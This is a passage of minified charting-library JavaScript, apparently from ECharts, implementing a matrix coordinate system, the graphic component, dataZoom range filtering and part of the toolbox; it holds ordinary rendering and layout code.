i=e.x+e.width,a=e.y+e.height;e.x=Pu(e.x,r,!0),e.y=Pu(e.y,r,!0),e.width=Pu(i,r,!0)-e.x,e.height=Pu(a,r,!0)-e.y}return new Lu({shape:e,style:t,z2:n})}function LY(e,t,n){var r=t.lineWidth;return r&&(CY(e.x1*2)===CY(e.x2*2)&&(e.x1=e.x2=Pu(e.x1,r,!0)),CY(e.y1*2)===CY(e.y2*2)&&(e.y1=e.y2=Pu(e.y1,r,!0))),new fp({shape:e,style:t,silent:!0,z2:n})}var RY=function(){function e(t,n,r){this.dimensions=e.dimensions,this.type=`matrix`,this._model=t;var i=this._dimModels={x:t.getDimensionModel(`x`),y:t.getDimensionModel(`y`)};this._dims={x:i.x.dim,y:i.y.dim},this._resize(t,r)}return e.getDimensionsInfo=function(){return[{name:`x`,type:`ordinal`},{name:`y`,type:`ordinal`},{name:`value`}]},e.create=function(t,n){var r=[];return t.eachComponent(`matrix`,function(i){var a=new e(i,t,n);r.push(a),i.coordinateSystem=a}),t.eachComponent(function(e,t){Ng({targetModel:t,coordSysType:`matrix`,coordSysProvider:Pg})}),r},e.prototype.getRect=function(){return this._rect},e.prototype._resize=function(e,t){var n=this._dims,r=this._dimModels,i=this._rect=Ug(e.getBoxLayoutParams(),{width:t.getWidth(),height:t.getHeight()});HY(r,n,i,0),HY(r,n,i,1),UY(0,n),UY(1,n),WY(this._model.getBody(),n),WY(this._model.getCorner(),n)},e.prototype.dataToPoint=function(e,t,n){return n||=[],this.dataToLayout(e,t,zY),n[0]=zY.rect.x+zY.rect.width/2,n[1]=zY.rect.y+zY.rect.height/2,n},e.prototype.dataToLayout=function(e,t,n){var r=this._dims;n||={};var i=n.rect=n.rect||{};i.x=i.y=i.width=i.height=NaN;var a=n.matrixXYLocatorRange=ZJ(n.matrixXYLocatorRange);return B(e)?(QJ(a,null,e,r,W(t&&t.clamp,YJ.none)),(!t||!t.ignoreMergeCells)&&((!t||t.clamp!==YJ.corner)&&this._model.getBody().expandRangeByCellMerge(a),(!t||t.clamp!==YJ.body)&&this._model.getCorner().expandRangeByCellMerge(a)),cY(i,a,r,0),cY(i,a,r,1),n):n},e.prototype.pointToData=function(e,t,n){var r=this._dims;return ZY(XY,0,r,e,t&&t.clamp),ZY(XY,1,r,e,t&&t.clamp),n||=[],n[0]=n[1]=NaN,XY.y===YY.inCorner&&XY.x===YY.inBody?QY(XY,n,0,r):XY.x===YY.inCorner&&XY.y===YY.inBody?QY(XY,n,1,r):($Y(XY,n,0,r),$Y(XY,n,1,r)),n},e.prototype.convertToPixel=function(e,t,n,r){var i=JY(t);return i===this?i.dataToPoint(n,r):void 0},e.prototype.convertToLayout=function(e,t,n,r){var i=JY(t);return i===this?i.dataToLayout(n,r):void 0},e.prototype.convertFromPixel=function(e,t,n,r){var i=JY(t);return i===this?i.pointToData(n,r):void 0},e.prototype.containPoint=function(e){return this._rect.contain(e[0],e[1])},e.dimensions=[`x`,`y`,`value`],e}(),zY={rect:dY()},BY=new vc,VY=new vc;function HY(e,t,n,r){for(var i=1-r,a=t[qp[r]],o=t[qp[i]],s=o.shouldShow(),c=a.resetCellIterator();c.next();)c.item.wh=c.item.xy=NaN;for(var l=o.resetLayoutIterator(null,r);l.next();)l.item.wh=l.item.xy=NaN;for(var u=n[Jp[r]],d=a.getLocatorCount(r)+o.getLocatorCount(r),f=new lh,p=o.resetLevelIterator();p.next();)f.option=p.item.option,f.parentModel=e[qp[i]],g(p.item,s?f.get(`levelSize`):0);for(var m=new lh,h=a.resetCellIterator();h.next();)h.item.type===JJ.leaf&&(m.option=h.item.option,m.parentModel=void 0,g(h.item,m.get(`size`)));function g(e,t){var i=KY(t,r,n);St(i)||(e.wh=qY(i,u),u=qY(u-e.wh),d--)}var _=d?u/d:0,v=!d&&u>=1,y=n[qp[r]],b=a.getLocatorCount(r)-1,x=new vc;for(o.resetLayoutIterator(x,r);x.next();)S(x.item);for(a.resetLayoutIterator(x,r);x.next();)S(x.item);function S(e){St(e.wh)&&(e.wh=_),e.xy=y,e.id[qp[r]]===b&&!v&&(e.wh=n[qp[r]]+n[Jp[r]]-e.xy),y+=e.wh}}function UY(e,t){for(var n=t[qp[e]].resetCellIterator();n.next();){var r=n.item;GY(r.rect,e,r.id,r.span,t),GY(r.rect,1-e,r.id,r.span,t),r.type===JJ.nonLeaf&&(r.xy=r.rect[qp[e]],r.wh=r.rect[Jp[e]])}}function WY(e,t){e.travelExistingCells(function(e){var n=e.span;if(n){var r=e.spanRect,i=e.id;GY(r,0,i,n,t),GY(r,1,i,n,t)}})}function GY(e,t,n,r,i){e[Jp[t]]=0;var a=n[qp[t]]<0?i[qp[1-t]]:i[qp[t]],o=a.getUnitLayoutInfo(t,n[qp[t]]);if(e[qp[t]]=o.xy,e[Jp[t]]=o.wh,r[qp[t]]>1){var s=a.getUnitLayoutInfo(t,n[qp[t]]+r[qp[t]]-1);e[Jp[t]]=s.xy+s.wh-o.xy}}function KY(e,t,n){return qY(ss(e,n[Jp[t]]),n[Jp[t]])}function qY(e,t){return Math.max(Math.min(e,W(t,1/0)),0)}function JY(e){var t=e.matrixModel,n=e.seriesModel;return t?t.coordinateSystem:n?n.coordinateSystem:null}var YY={inBody:1,inCorner:2,outside:3},XY={x:null,y:null,point:[]};function ZY(e,t,n,r,i){var a=n[qp[t]],o=n[qp[1-t]],s=a.getUnitLayoutInfo(t,a.getLocatorCount(t)-1),c=a.getUnitLayoutInfo(t,0),l=o.getUnitLayoutInfo(t,-o.getLocatorCount(t)),u=o.shouldShow()?o.getUnitLayoutInfo(t,-1):null,d=e.point[t]=r[t];if(!c&&!u){e[qp[t]]=YY.outside;return}if(i===YJ.body){c?(e[qp[t]]=YY.inBody,d=ns(s.xy+s.wh,rs(c.xy,d)),e.point[t]=d):e[qp[t]]=YY.outside;return}else if(i===YJ.corner){u?(e[qp[t]]=YY.inCorner,d=ns(u.xy+u.wh,rs(l.xy,d)),e.point[t]=d):e[qp[t]]=YY.outside;return}var f=c?c.xy:u?u.xy+u.wh:NaN,p=l?l.xy:f,m=s?s.xy+s.wh:f;if(d<p){if(!i){e[qp[t]]=YY.outside;return}d=p}else if(d>m){if(!i){e[qp[t]]=YY.outside;return}d=m}e.point[t]=d,e[qp[t]]=f<=d&&d<=m?YY.inBody:p<=d&&d<=f?YY.inCorner:YY.outside}function QY(e,t,n,r){var i=1-n;if(e[qp[n]]!==YY.outside)for(r[qp[n]].resetCellIterator(VY);VY.next();){var a=VY.item;if(tX(e.point[n],a.rect,n)&&tX(e.point[i],a.rect,i)){t[n]=a.ordinal,t[i]=a.id[qp[i]];return}}}function $Y(e,t,n,r){if(e[qp[n]]!==YY.outside){for((e[qp[n]]===YY.inCorner?r[qp[1-n]]:r[qp[n]]).resetLayoutIterator(BY,n);BY.next();)if(eX(e.point[n],BY.item)){t[n]=BY.item.id[qp[n]];return}}}function eX(e,t){return t.xy<=e&&e<=t.xy+t.wh}function tX(e,t,n){return t[qp[n]]<=e&&e<=t[qp[n]]+t[Jp[n]]}function nX(e){e.registerComponentModel(xY),e.registerComponentView(OY),e.registerCoordinateSystem(`matrix`,RY)}function rX(e,t){var n=e.existing;if(t.id=e.keyInfo.id,!t.type&&n&&(t.type=n.type),t.parentId==null){var r=t.parentOption;r?t.parentId=r.id:n&&(t.parentId=n.parentId)}t.parentOption=null}function iX(e,t){var n;return L(t,function(t){e[t]!=null&&e[t]!==`auto`&&(n=!0)}),n}function aX(e,t,n){var r=F({},n),i=e[t],a=n.$action||`merge`;a===`merge`?i?(nt(i,r,!0),Xg(i,r,{ignoreSize:!0}),Qg(n,i),cX(n,i),cX(n,i,`shape`),cX(n,i,`style`),cX(n,i,`extra`),n.clipPath=i.clipPath):e[t]=r:a===`replace`?e[t]=r:a===`remove`&&i&&(e[t]=null)}var oX=[`transition`,`enterFrom`,`leaveTo`],sX=oX.concat([`enterAnimation`,`updateAnimation`,`leaveAnimation`]);function cX(e,t,n){if(n&&(!e[n]&&t[n]&&(e[n]={}),e=e[n],t=t[n]),!(!e||!t))for(var r=n?oX:sX,i=0;i<r.length;i++){var a=r[i];e[a]==null&&t[a]!=null&&(e[a]=t[a])}}function lX(e,t){if(e&&(e.hv=t.hv=[iX(t,[`left`,`right`]),iX(t,[`top`,`bottom`])],e.type===`group`)){var n=e,r=t;n.width??=r.width=0,n.height??=r.height=0}}var uX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.preventAutoZ=!0,n}return t.prototype.mergeOption=function(t,n){var r=this.option.elements;this.option.elements=null,e.prototype.mergeOption.call(this,t,n),this.option.elements=r},t.prototype.optionUpdated=function(e,t){var n=this.option,r=(t?n:e).elements,i=n.elements=t?[]:n.elements,a=[];this._flatten(r,a,null);var o=Us(i,a,`normalMerge`),s=this._elOptionsToUpdate=[];L(o,function(e,t){var n=e.newOption;n&&(s.push(n),rX(e,n),aX(i,t,n),lX(i[t],n))},this),n.elements=lt(i,function(e){return e&&delete e.$action,e!=null})},t.prototype._flatten=function(e,t,n){L(e,function(e){if(e){n&&(e.parentOption=n),t.push(e);var r=e.children;r&&r.length&&this._flatten(r,t,e),delete e.children}},this)},t.prototype.useElOptionsToUpdate=function(){var e=this._elOptionsToUpdate;return this._elOptionsToUpdate=null,e},t.type=`graphic`,t.defaultOption={elements:[]},t}(e_),dX={path:null,compoundPath:null,group:Y,image:ku,text:Hu},fX=oc(),pX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.init=function(){this._elMap=G()},t.prototype.render=function(e,t,n){e!==this._lastGraphicModel&&this._clear(),this._lastGraphicModel=e,this._updateElements(e),this._relocate(e,n)},t.prototype._updateElements=function(e){var t=e.useElOptionsToUpdate();if(t){var n=this._elMap,r=this.group,i=e.get(`z`),a=e.get(`zlevel`);L(t,function(t){var o=Qs(t.id,null),s=o==null?null:n.get(o),c=Qs(t.parentId,null),l=c==null?r:n.get(c),u=t.type,d=t.style;u===`text`&&d&&t.hv&&t.hv[1]&&(d.textVerticalAlign=d.textBaseline=d.verticalAlign=d.align=null);var f=t.textContent,p=t.textConfig;if(d&&jG(d,u,!!p,!!f)){var m=MG(d,u,!0);!p&&m.textConfig&&(p=t.textConfig=m.textConfig),!f&&m.textContent&&(f=m.textContent)}var h=vX(t),g=t.$action||`merge`,_=g===`merge`,v=g===`replace`;if(_){var y=!s,b=s;y?b=hX(o,l,t.type,n):(b&&(fX(b).isNew=!1),aK(b)),b&&(VG(b,h,e,{isInit:y}),_X(b,t,i,a))}else if(v){gX(s,t,n,e);var x=hX(o,l,t.type,n);x&&(VG(x,h,e,{isInit:!0}),_X(x,t,i,a))}else g===`remove`&&(HG(s,t),gX(s,t,n,e));var S=n.get(o);if(S&&f)if(_){var C=S.getTextContent();C?C.attr(f):S.setTextContent(new Hu(f))}else v&&S.setTextContent(new Hu(f));if(S){var w=t.clipPath;if(w){var T=w.type,E=void 0,y=!1;if(_){var D=S.getClipPath();y=!D||fX(D).type!==T,E=y?mX(T):D}else v&&(y=!0,E=mX(T));S.setClipPath(E),VG(E,w,e,{isInit:y}),oK(E,w.keyframeAnimation,e)}var O=fX(S);S.setTextConfig(p),O.option=t,yX(S,e,t),wm({el:S,componentModel:e,itemName:S.name,itemTooltipOption:t.tooltip}),oK(S,t.keyframeAnimation,e)}})}},t.prototype._relocate=function(e,t){for(var n=e.option.elements,r=this.group,i=this._elMap,a=t.getWidth(),o=t.getHeight(),s=[`x`,`y`],c=0;c<n.length;c++){var l=n[c],u=Qs(l.id,null),d=u==null?null:i.get(u);if(!(!d||!d.isGroup)){var f=d.parent,p=f===r,m=fX(d),h=fX(f);m.width=X(m.option.width,p?a:h.width)||0,m.height=X(m.option.height,p?o:h.height)||0}}for(var c=n.length-1;c>=0;c--){var l=n[c],u=Qs(l.id,null),d=u==null?null:i.get(u);if(d){var f=d.parent,h=fX(f),g=f===r?{width:a,height:o}:{width:h.width,height:h.height},_={},v=qg(d,l,g,null,{hv:l.hv,boundingMode:l.bounding},_);if(!fX(d).isNew&&v){for(var y=l.transition,b={},x=0;x<s.length;x++){var S=s[x],C=_[S];y&&(WG(y)||it(y,S)>=0)?b[S]=C:d[S]=C}Lp(d,b,e,0)}else d.attr(_)}}},t.prototype._clear=function(){var e=this,t=this._elMap;t.each(function(n){gX(n,fX(n).option,t,e._lastGraphicModel)}),this._elMap=G()},t.prototype.dispose=function(){this._clear()},t.type=`graphic`,t}(Eb);function mX(e){var t=new(K(dX,e)?dX[e]:$p(e))({});return fX(t).type=e,t}function hX(e,t,n,r){var i=mX(n);return t.add(i),r.set(e,i),fX(i).id=e,fX(i).isNew=!0,i}function gX(e,t,n,r){e&&e.parent&&(e.type===`group`&&e.traverse(function(e){gX(e,t,n,r)}),UG(e,t,r),n.removeKey(fX(e).id))}function _X(e,t,n,r){e.isGroup||L([[`cursor`,hl.prototype.cursor],[`zlevel`,r||0],[`z`,n||0],[`z2`,0]],function(n){var r=n[0];K(t,r)?e[r]=W(t[r],n[1]):e[r]??(e[r]=n[1])}),L(dt(t),function(n){if(n.indexOf(`on`)===0){var r=t[n];e[n]=V(r)?r:null}}),K(t,`draggable`)&&(e.draggable=t.draggable),t.name!=null&&(e.name=t.name),t.id!=null&&(e.id=t.id)}function vX(e){return e=F({},e),L([`id`,`parentId`,`$action`,`hv`,`bounding`,`textContent`,`clipPath`].concat(Ig),function(t){delete e[t]}),e}function yX(e,t,n){var r=Z(e).eventData;!e.silent&&!e.ignore&&!r&&(r=Z(e).eventData={componentType:`graphic`,componentIndex:t.componentIndex,name:e.name}),r&&(r.info=n.info)}function bX(e){e.registerComponentModel(uX),e.registerComponentView(pX),e.registerPreprocessor(function(e){var t=e.graphic;B(t)?!t[0]||!t[0].elements?e.graphic=[{elements:t}]:e.graphic=[e.graphic[0]]:t&&!t.elements&&(e.graphic=[{elements:[t]}])})}var xX=[`x`,`y`,`radius`,`angle`,`single`],SX=[`cartesian2d`,`polar`,`singleAxis`];function CX(e){return it(SX,e.get(`coordinateSystem`))>=0}function wX(e){return e+`Axis`}function TX(e,t){var n=G(),r=[],i=G();e.eachComponent({mainType:`dataZoom`,query:t},function(e){i.get(e.uid)||s(e)});var a;do a=!1,e.eachComponent(`dataZoom`,o);while(a);function o(e){!i.get(e.uid)&&c(e)&&(s(e),a=!0)}function s(e){i.set(e.uid,!0),r.push(e),l(e)}function c(e){var t=!1;return e.eachTargetAxis(function(e,r){var i=n.get(e);i&&i[r]&&(t=!0)}),t}function l(e){e.eachTargetAxis(function(e,t){(n.get(e)||n.set(e,[]))[t]=!0})}return r}function EX(e){var t=e.ecModel,n={infoList:[],infoMap:G()};return e.eachTargetAxis(function(e,r){var i=t.getComponent(wX(e),r);if(i){var a=i.getCoordSysModel();if(a){var o=a.uid,s=n.infoMap.get(o);s||(s={model:a,axisModels:[]},n.infoList.push(s),n.infoMap.set(o,s)),s.axisModels.push(i)}}}),n}var DX=function(){function e(){this.indexList=[],this.indexMap=[]}return e.prototype.add=function(e){this.indexMap[e]||(this.indexList.push(e),this.indexMap[e]=!0)},e}(),OX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._autoThrottle=!0,n._noTarget=!0,n._rangePropMode=[`percent`,`percent`],n}return t.prototype.init=function(e,t,n){var r=kX(e);this.settledOption=r,this.mergeDefaultAndTheme(e,n),this._doInit(r)},t.prototype.mergeOption=function(e){var t=kX(e);nt(this.option,e,!0),nt(this.settledOption,t,!0),this._doInit(t)},t.prototype._doInit=function(e){var t=this.option;this._setDefaultThrottle(e),this._updateRangeUse(e);var n=this.settledOption;L([[`start`,`startValue`],[`end`,`endValue`]],function(e,r){this._rangePropMode[r]===`value`&&(t[e[0]]=n[e[0]]=null)},this),this._resetTarget()},t.prototype._resetTarget=function(){var e=this.get(`orient`,!0),t=this._targetAxisInfoMap=G();this._fillSpecifiedTargetAxis(t)?this._orient=e||this._makeAutoOrientByTargetAxis():(this._orient=e||`horizontal`,this._fillAutoTargetAxisByOrient(t,this._orient)),this._noTarget=!0,t.each(function(e){e.indexList.length&&(this._noTarget=!1)},this)},t.prototype._fillSpecifiedTargetAxis=function(e){var t=!1;return L(xX,function(n){var r=this.getReferringComponents(wX(n),dc);if(r.specified){t=!0;var i=new DX;L(r.models,function(e){i.add(e.componentIndex)}),e.set(n,i)}},this),t},t.prototype._fillAutoTargetAxisByOrient=function(e,t){var n=this.ecModel,r=!0;if(r){var i=t===`vertical`?`y`:`x`,a=n.findComponents({mainType:i+`Axis`});o(a,i)}if(r){var a=n.findComponents({mainType:`singleAxis`,filter:function(e){return e.get(`orient`,!0)===t}});o(a,`single`)}function o(t,n){var i=t[0];if(i){var a=new DX;if(a.add(i.componentIndex),e.set(n,a),r=!1,n===`x`||n===`y`){var o=i.getReferringComponents(`grid`,uc).models[0];o&&L(t,function(e){i.componentIndex!==e.componentIndex&&o===e.getReferringComponents(`grid`,uc).models[0]&&a.add(e.componentIndex)})}}}r&&L(xX,function(t){if(r){var i=n.findComponents({mainType:wX(t),filter:function(e){return e.get(`type`,!0)===`category`}});if(i[0]){var a=new DX;a.add(i[0].componentIndex),e.set(t,a),r=!1}}},this)},t.prototype._makeAutoOrientByTargetAxis=function(){var e;return this.eachTargetAxis(function(t){!e&&(e=t)},this),e===`y`?`vertical`:`horizontal`},t.prototype._setDefaultThrottle=function(e){if(e.hasOwnProperty(`throttle`)&&(this._autoThrottle=!1),this._autoThrottle){var t=this.ecModel.option;this.option.throttle=t.animation&&t.animationDurationUpdate>0?100:20}},t.prototype._updateRangeUse=function(e){var t=this._rangePropMode,n=this.get(`rangeMode`);L([[`start`,`startValue`],[`end`,`endValue`]],function(r,i){var a=e[r[0]]!=null,o=e[r[1]]!=null;a&&!o?t[i]=`percent`:!a&&o?t[i]=`value`:n?t[i]=n[i]:a&&(t[i]=`percent`)})},t.prototype.noTarget=function(){return this._noTarget},t.prototype.getFirstTargetAxisModel=function(){var e;return this.eachTargetAxis(function(t,n){e??=this.ecModel.getComponent(wX(t),n)},this),e},t.prototype.eachTargetAxis=function(e,t){this._targetAxisInfoMap.each(function(n,r){L(n.indexList,function(n){e.call(t,r,n)})})},t.prototype.getAxisProxy=function(e,t){var n=this.getAxisModel(e,t);if(n)return n.__dzAxisProxy},t.prototype.getAxisModel=function(e,t){var n=this._targetAxisInfoMap.get(e);if(n&&n.indexMap[t])return this.ecModel.getComponent(wX(e),t)},t.prototype.setRawRange=function(e){var t=this.option,n=this.settledOption;L([[`start`,`startValue`],[`end`,`endValue`]],function(r){(e[r[0]]!=null||e[r[1]]!=null)&&(t[r[0]]=n[r[0]]=e[r[0]],t[r[1]]=n[r[1]]=e[r[1]])},this),this._updateRangeUse(e)},t.prototype.setCalculatedRange=function(e){var t=this.option;L([`start`,`startValue`,`end`,`endValue`],function(n){t[n]=e[n]})},t.prototype.getPercentRange=function(){var e=this.findRepresentativeAxisProxy();if(e)return e.getDataPercentWindow()},t.prototype.getValueRange=function(e,t){if(e==null&&t==null){var n=this.findRepresentativeAxisProxy();if(n)return n.getDataValueWindow()}else return this.getAxisProxy(e,t).getDataValueWindow()},t.prototype.findRepresentativeAxisProxy=function(e){if(e)return e.__dzAxisProxy;for(var t,n=this._targetAxisInfoMap.keys(),r=0;r<n.length;r++)for(var i=n[r],a=this._targetAxisInfoMap.get(i),o=0;o<a.indexList.length;o++){var s=this.getAxisProxy(i,a.indexList[o]);if(s.hostedBy(this))return s;t||=s}return t},t.prototype.getRangePropMode=function(){return this._rangePropMode.slice()},t.prototype.getOrient=function(){return this._orient},t.type=`dataZoom`,t.dependencies=[`xAxis`,`yAxis`,`radiusAxis`,`angleAxis`,`singleAxis`,`series`,`toolbox`],t.defaultOption={z:4,filterMode:`filter`,start:0,end:100},t}(e_);function kX(e){var t={};return L([`start`,`end`,`startValue`,`endValue`,`throttle`],function(n){e.hasOwnProperty(n)&&(t[n]=e[n])}),t}var AX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`dataZoom.select`,t}(OX),jX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n,r){this.dataZoomModel=e,this.ecModel=t,this.api=n},t.type=`dataZoom`,t}(Eb),MX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`dataZoom.select`,t}(jX),NX=L,PX=ls,FX=function(){function e(e,t,n,r){this._dimName=e,this._axisIndex=t,this.ecModel=r,this._dataZoomModel=n}return e.prototype.hostedBy=function(e){return this._dataZoomModel===e},e.prototype.getDataValueWindow=function(){return this._valueWindow.slice()},e.prototype.getDataPercentWindow=function(){return this._percentWindow.slice()},e.prototype.getTargetSeriesModels=function(){var e=[];return this.ecModel.eachSeries(function(t){if(CX(t)){var n=wX(this._dimName),r=t.getReferringComponents(n,uc).models[0];r&&this._axisIndex===r.componentIndex&&e.push(t)}},this),e},e.prototype.getAxisModel=function(){return this.ecModel.getComponent(this._dimName+`Axis`,this._axisIndex)},e.prototype.getMinMaxSpan=function(){return P(this._minMaxSpan)},e.prototype.calculateDataWindow=function(e){var t=this._dataExtent,n=this.getAxisModel().axis.scale,r=this._dataZoomModel.getRangePropMode(),i=[0,100],a=[],o=[],s;NX([`start`,`end`],function(c,l){var u=e[c],d=e[c+`Value`];r[l]===`percent`?(u??=i[l],d=n.parse(as(u,i,t))):(s=!0,d=d==null?t[l]:n.parse(d),u=as(d,t,i)),o[l]=d==null||isNaN(d)?t[l]:d,a[l]=u==null||isNaN(u)?i[l]:u}),PX(o),PX(a);var c=this._minMaxSpan;s?l(o,a,t,i,!1):l(a,o,i,t,!0);function l(e,t,r,i,a){var o=a?`Span`:`ValueSpan`;nV(0,e,r,`all`,c[`min`+o],c[`max`+o]);for(var s=0;s<2;s++)t[s]=as(e[s],r,i,!0),a&&(t[s]=n.parse(t[s]))}return{valueWindow:o,percentWindow:a}},e.prototype.reset=function(e){if(e===this._dataZoomModel){var t=this.getTargetSeriesModels();this._dataExtent=IX(this,this._dimName,t),this._updateMinMaxSpan();var n=this.calculateDataWindow(e.settledOption);this._valueWindow=n.valueWindow,this._percentWindow=n.percentWindow,this._setAxisModel()}},e.prototype.filterData=function(e,t){if(e!==this._dataZoomModel)return;var n=this._dimName,r=this.getTargetSeriesModels(),i=e.get(`filterMode`),a=this._valueWindow;if(i===`none`)return;NX(r,function(e){var t=e.getData(),r=t.mapDimensionsAll(n);if(r.length){if(i===`weakFilter`){var s=t.getStore(),c=R(r,function(e){return t.getDimensionIndex(e)},t);t.filterSelf(function(e){for(var t,n,i,o=0;o<r.length;o++){var l=s.get(c[o],e),u=!isNaN(l),d=l<a[0],f=l>a[1];if(u&&!d&&!f)return!0;u&&(i=!0),d&&(t=!0),f&&(n=!0)}return i&&t&&n})}else NX(r,function(n){if(i===`empty`)e.setData(t=t.map(n,function(e){return o(e)?e:NaN}));else{var r={};r[n]=a,t.selectRange(r)}});NX(r,function(e){t.setApproximateExtent(a,e)})}});function o(e){return e>=a[0]&&e<=a[1]}},e.prototype._updateMinMaxSpan=function(){var e=this._minMaxSpan={},t=this._dataZoomModel,n=this._dataExtent;NX([`min`,`max`],function(r){var i=t.get(r+`Span`),a=t.get(r+`ValueSpan`);a!=null&&(a=this.getAxisModel().axis.scale.parse(a)),a==null?i!=null&&(a=as(i,[0,100],n,!0)-n[0]):i=as(n[0]+a,n,[0,100],!0),e[r+`Span`]=i,e[r+`ValueSpan`]=a},this)},e.prototype._setAxisModel=function(){var e=this.getAxisModel(),t=this._percentWindow,n=this._valueWindow;if(t){var r=fs(n,[0,500]);r=Math.min(r,20);var i=e.axis.scale.rawExtentInfo;t[0]!==0&&i.setDeterminedMinMax(`min`,+n[0].toFixed(r)),t[1]!==100&&i.setDeterminedMinMax(`max`,+n[1].toFixed(r)),i.freeze()}},e}();function IX(e,t,n){var r=[1/0,-1/0];NX(n,function(e){AE(r,e.getData(),t)});var i=e.getAxisModel(),a=vE(i.axis.scale,i,r).calculate();return[a.min,a.max]}var LX={getTargetSeries:function(e){function t(t){e.eachComponent(`dataZoom`,function(n){n.eachTargetAxis(function(r,i){t(r,i,e.getComponent(wX(r),i),n)})})}t(function(e,t,n,r){n.__dzAxisProxy=null});var n=[];t(function(t,r,i,a){i.__dzAxisProxy||(i.__dzAxisProxy=new FX(t,r,a,e),n.push(i.__dzAxisProxy))});var r=G();return L(n,function(e){L(e.getTargetSeriesModels(),function(e){r.set(e.uid,e)})}),r},overallReset:function(e,t){e.eachComponent(`dataZoom`,function(e){e.eachTargetAxis(function(t,n){e.getAxisProxy(t,n).reset(e)}),e.eachTargetAxis(function(n,r){e.getAxisProxy(n,r).filterData(e,t)})}),e.eachComponent(`dataZoom`,function(e){var t=e.findRepresentativeAxisProxy();if(t){var n=t.getDataPercentWindow(),r=t.getDataValueWindow();e.setCalculatedRange({start:n[0],end:n[1],startValue:r[0],endValue:r[1]})}})}};function RX(e){e.registerAction(`dataZoom`,function(e,t){L(TX(t,e),function(t){t.setRawRange({start:e.start,end:e.end,startValue:e.startValue,endValue:e.endValue})})})}var zX=!1;function BX(e){zX||(zX=!0,e.registerProcessor(e.PRIORITY.PROCESSOR.FILTER,LX),RX(e),e.registerSubTypeDefaulter(`dataZoom`,function(){return`slider`}))}function VX(e){e.registerComponentModel(AX),e.registerComponentView(MX),BX(e)}var HX=function(){function e(){}return e}(),UX={};function WX(e,t){UX[e]=t}function GX(e){return UX[e]}var KX=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.optionUpdated=function(){e.prototype.optionUpdated.apply(this,arguments);var t=this.ecModel;L(this.option.feature,function(e,n){var r=GX(n);r&&(r.getDefaultOption&&(r.defaultOption=r.getDefaultOption(t)),nt(e,r.defaultOption))})},t.type=`toolbox`,t.layoutMode={type:`box`,ignoreSize:!0},t.defaultOption={show:!0,z:6,orient:`horizontal`,left:`right`,top:`top`,backgroundColor:`transparent`,borderColor:Q.color.border,borderRadius:0,borderWidth:0,padding:Q.size.m,itemSize:15,itemGap:Q.size.s,showTitle:!0,iconStyle:{borderColor:Q.color.accent50,color:`none`},emphasis:{iconStyle:{borderColor:Q.color.accent50}},tooltip:{show:!1,position:`bottom`}},t}(e_);function qX(e,t){var n=mg(t.get(`padding`)),r=t.getItemStyle([`color`,`opacity`]);return r.fill=t.get(`backgroundColor`),new Lu({shape:{x:e.x-n[3],y:e.y-n[0],width:e.width+n[1]+n[3],height:e.height+n[0]+n[2],r:t.get(`borderRadius`)},style:r,silent:!0,z2:-1})}var JX=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.render=function(e,t,n,r){var i=this.group;if(i.removeAll(),!e.get(`show`))return;var a=+e.get(`itemSize`),o=e.get(`orient`)===`vertical`,s=e.get(`feature`)||{},c=this._features||={},l=[];L(s,function(e,t){l.push(t)}),new Cw(this._featureNames||[],l).add(u).update(u).remove(pt(u,null)).execute(),this._featureNames=l;function u(i,a){var o=l[i],u=l[a],f=s[o],p=new lh(f,e,e.ecModel),m;if(r&&r.newTitle!=null&&r.featureName===o&&(f.title=r.newTitle),o&&!u){if(YX(o))m={onclick:p.option.onclick,featureName:o};else{var h=GX(o);if(!h)return;m=new h}c[o]=m}else if(m=c[u],!m)return;m.uid=dh(`toolbox-feature`),m.model=p,m.ecModel=t,m.api=n;var g=m instanceof HX;if(!o&&u){g&&m.dispose&&m.dispose(t,n);return}if(!p.get(`show`)||g&&m.unusable){g&&m.remove&&m.remove(t,n);return}d(p,m,o),p.setIconStatus=function(e,t){var n=this.option,r=this.iconPaths;n.iconStatus=n.iconStatus||{},n.iconStatus[e]=t,r[e]&&(t===`emphasis`?Pd:Fd)(r[e])},m instanceof HX&&m.render&&m.render(p,t,n,r)}function d(r,s,c){var l=r.getModel(`iconStyle`),u=r.getModel([`emphasis`,`iconStyle`]),d=s instanceof HX&&s.getIcons?s.getIcons():r.get(`icon`),f=r.get(`title`)||{},p,m;H(d)?(p={},p[c]=d):p=d,H(f)?(m={},m[c]=f):m=f;var h=r.iconPaths={};L(p,function(c,d){var f=gm(c,{},{x:-a/2,y:-a/2,width:a,height:a});f.setStyle(l.getItemStyle());var p=f.ensureState(`emphasis`);p.style=u.getItemStyle();var g=new Hu({style:{text:m[d],align:u.get(`textAlign`),borderRadius:u.get(`textBorderRadius`),padding:u.get(`textPadding`),fill:null,font:Jm({fontStyle:u.get(`textFontStyle`),fontFamily:u.get(`textFontFamily`),fontSize:u.get(`textFontSize`),fontWeight:u.get(`textFontWeight`)},t)},ignore:!0});f.setTextContent(g),wm({el:f,componentModel:e,itemName:d,formatterParamsExtra:{title:m[d]}}),f.__title=m[d],f.on(`mouseover`,function(){var t=u.getItemStyle(),r=o?e.get(`right`)==null&&e.get(`left`)!==`right`?`right`:`left`:e.get(`bottom`)==null&&e.get(`top`)!==`bottom`?`bottom`:`top`;g.setStyle({fill:u.get(`textFill`)||t.fill||t.stroke||Q.color.neutral99,backgroundColor:u.get(`textBackgroundColor`)}),f.setTextConfig({position:u.get(`textPosition`)||r}),g.ignore=!e.get(`showTitle`),n.enterEmphasis(this)}).on(`mouseout`,function(){r.get([`iconStatus`,d])!==`emphasis`&&n.leaveEmphasis(this),g.hide()}),(r.get([`iconStatus`,d])===`emphasis`?Pd:Fd)(f),i.add(f),f.on(`click`,z(s.onclick,s,t,n,d)),h[d]=f})}var 